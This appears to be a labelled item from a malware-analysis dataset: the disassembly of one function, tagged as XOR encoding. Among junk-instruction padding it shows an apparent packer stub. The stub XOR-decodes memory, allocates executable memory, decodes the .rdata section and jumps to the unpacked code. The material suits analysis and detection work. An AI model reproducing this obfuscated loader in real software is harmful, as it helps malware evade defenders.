Function at 0x4c472c
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xc8e91533
add esi, edi
add edi, 0xcb5a5932
inc edi
popal
add edi, edi
dec edi
mov ecx, 0
mov esi, edi
dec edx
or eax, eax
mov ebx, esi
and eax, eax
add eax, 0xf988450b
add edx, 0x234794c3
mov edi, ebx
and eax, eax
sub eax, 0xaeeb1df8
inc ecx
add eax, eax
add eax, edx
cmp ecx, 0x100a302
jne 0x4c4744
sub edx, 0x1a68fded
sub edx, eax
mov edi, 0x360c6009
not edi
sub esi, edi
mov esi, 0x4c4516
add edi, 1
inc edx
mov eax, 0x4c470a
not ecx
sub edx, edi
mov ebx, dword [esi]
mov ecx, edi
add edx, edx
or ecx, edi
and ebx, 0xff
sub edi, 0x8fcd06fa
sub edi, ecx
add ecx, edi
xor dword [eax], ebx
sub edx, 0xa084d5a
not ecx
add eax, 1
sub edx, 1
mov edi, 0xc5048e8b
inc esi
add ecx, 0x79a18720
sub ecx, edi
add edi, 0xcf65c7e5
cmp eax, entry0
jl 0x4c479a
mov edi, 0x288acf62
or edi, edx
sub ecx, edi
mov ecx, 0xa93239e7
not ecx
add edi, 0xd61a0c84
mov edx, esi
sub ebx, esi
mov ecx, 0x4c470e
sub edx, edi
or edx, ebx
sub edx, 0xadd3ffb3
mov ecx, dword [ecx]
add esi, edx
mov esi, edi
mov edi, ebx
mov ecx, dword [ecx]
sub edi, 0xee019eef
and ebx, edx
push ecx
not edx
inc esi
mov ecx, 0x4c470a
add edx, esi
or ebx, ebx
mov ecx, dword [ecx]
and edi, edi
sub edi, edx
mov esi, 0xf5680411
mov ecx, dword [ecx]
not edx
sub ebx, edi
sub esp, 4
mov dword [esp], 0x4c4712
add edi, 0x272191b3
mov edx, ebx
call ecx
not esi
sub edx, 1
add edx, 0xcfddf2ef
pop ecx
or ebx, edx
and edi, ebx
push 0x4c471f
and edi, edx
or esi, edx
push eax
dec esi
mov edi, 0x5fb4803b
mov edi, ebx
call ecx
mov esi, ebx
dec ebx
not ebx
sub esp, 4
mov dword [esp], 0x40
mov ebx, edx
mov ebx, esi
dec edx
push 0x3000
sub edx, 0xc2ff8560
inc edx
mov edx, edi
sub esp, 4
mov dword [esp], 0x20000c7c
or esi, edx
add esi, 0x1f4e2d8
sub ebx, edx
push 0
and edi, esi
dec edi
and esi, edx
call eax
add ebx, edi
not esi
sub edi, 0xcea476c5
add eax, 0x20000bc3
sub edi, 0x1d5e9773
and edx, ebx
mov ecx, 0x6d8d8174
add edi, 0x8247226e
sub edx, ebx
mov dword [eax], ecx
dec edx
or edi, ebx
mov ecx, dword [eax]
dec ebx
sub ebx, 0x7e7365b2
add esi, 0x8e559d44
cmp ecx, 0x6d8d8174
je 0x4c4906
mov eax, 0
mov byte [eax], cl
add ebx, 0x16c667ac
mov esi, 0x190f87eb
add edi, 1
add esi, 0x68e85cf
sub edi, ebx
mov edi, 0x1c20ad1a
inc esi
sub esi, edi
inc esi
mov edx, section..rdata
and edi, edi
add esi, esi
sub edi, 0xc12d1a50
mov ecx, 0x4c4515
and edi, edi
not esi
add edi, esi
mov ebx, 0
add esi, 0x54e78b7d
not edi
add edi, 0xd481744c
mov eax, 0x4c4516
sub esi, 0xfcba1e8b
sub esi, edi
lea eax, [ebx + eax]
and edi, edi
mov edi, esi
mov eax, dword [eax]
mov edi, esi
mov edi, 0x7b93b348
and edi, esi
and eax, 0xff
sub edi, esi
mov edi, 0x963708dc
inc ebx
add esi, edi
inc esi
cmp ebx, 0x1f4
jne 0x4c4992
mov ebx, 0
mov esi, 0x655c49fb
add esi, 0xdbd2ec2e
and esi, esi
mov edi, esi
add edi, 0xe79083bf
sub edi, 0xf80b40ba
xor dword [edx], eax
add esi, edi
mov esi, 0xebc8c24c
add edx, 2
or esi, edi
sub esi, edi
add edi, 0x581fed6a
cmp edx, ecx
jl 0x4c4955
dec esi
add esi, 1
sub edi, 0xab9f4fa5
mov edi, 0xeb0f1a20
inc esi
mov esi, section..rdata
and edi, edi
inc edi
mov edx, section..rdata
sub ebx, 0x4d4d4797
or ebx, ebx
mov eax, 0x4c4515
mov ebx, 0x383c6e69
not ebx
sub edi, 0xaea3e186
mov ecx, 0
mov ebx, 0x8b930adb
add edi, 0x50450d43
mov cl, byte [edx]
not ebx
and ebx, edi
add edi, 0x841aaf6a
mov byte [esi], cl
sub ebx, edi
not ebx
add esi, 1
sub edi, 1
or ebx, ebx
sub edi, ebx
add edx, 2
sub ebx, 0xb3bfa0ad
or edi, edi
cmp edx, eax
jle 0x4c4a18
add edi, edi
mov ebx, 0xeaf7a36b
add esi, 0x39362028
add esi, 0x12d3a19
push 0x4956a0
dec edi
sub esi, 0x8c4afc30
mov esi, edi
ret